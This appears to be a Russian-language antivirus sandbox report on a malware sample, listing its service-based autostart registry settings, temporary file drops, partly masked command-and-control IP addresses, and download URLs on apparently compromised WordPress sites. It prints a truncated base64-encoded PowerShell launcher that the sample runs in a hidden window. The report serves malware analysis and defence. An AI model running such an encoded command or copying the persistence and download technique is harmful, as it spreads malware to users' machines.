Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [<HKLM>\System\CurrentControlSet\Services\rasgcw] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\rasgcw] 'ImagePath' = '"%WINDIR%\SysWOW64\XAPOFX1_0\rasgcw.exe"'
Создает следующие сервисы
- 'rasgcw' "%WINDIR%\SysWOW64\XAPOFX1_0\rasgcw.exe"
- 'rasgcw' %WINDIR%\SysWOW64\XAPOFX1_0\rasgcw.exe
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABCAF8AdQA0ADcAdwBkAD0AJwBRAHUAYwB1AGIAegA4ACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAEMAdQBSAGAAaQBUAHkAUABSAE8AdABgAE8AQwBPAEwAIgAgAD0AIAAnAH...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\qzra.exe
Удаляет следующие файлы
- %TEMP%\qzra.exe
Перемещает следующие файлы
- %TEMP%\qzra.exe в %WINDIR%\syswow64\xapofx1_0\rasgcw.exe
Подменяет следующие файлы
- %TEMP%\qzra.exe
Сетевая активность
Подключается к
- '17#.#00.27.229':80
- '20#.#26.6.222':8080
- '5.###.250.14':8080
- '19#.#41.146.84':8080
- '95.#.180.128':80
- '77.##.211.77':8080
- '85.##5.140.135':443
- '45.#3.77.42':8080
- '77.##.136.129':8080
TCP
Запросы HTTP GET
- http://si###rgh.com/wp-includes/brMYT734/
- http://nl##o.com/wp-admin/4d2WC234123/
- http://vi#.#k6k.com/cs5h/aoX8wY2/
- http://es#####dugunsalonu.com/wp-includes/uCzyiZSkg/
UDP
- DNS ASK si###rgh.com
- DNS ASK nl##o.com
- DNS ASK vi#.#k6k.com
- DNS ASK es#####dugunsalonu.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABCAF8AdQA0ADcAdwBkAD0AJwBRAHUAYwB1AGIAegA4ACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAEMAdQBSAGAAaQBUAHkAUABSAE8AdABgAE8AQwBPAEwAIgAgAD0AIAAnAH...' (со скрытым окном)
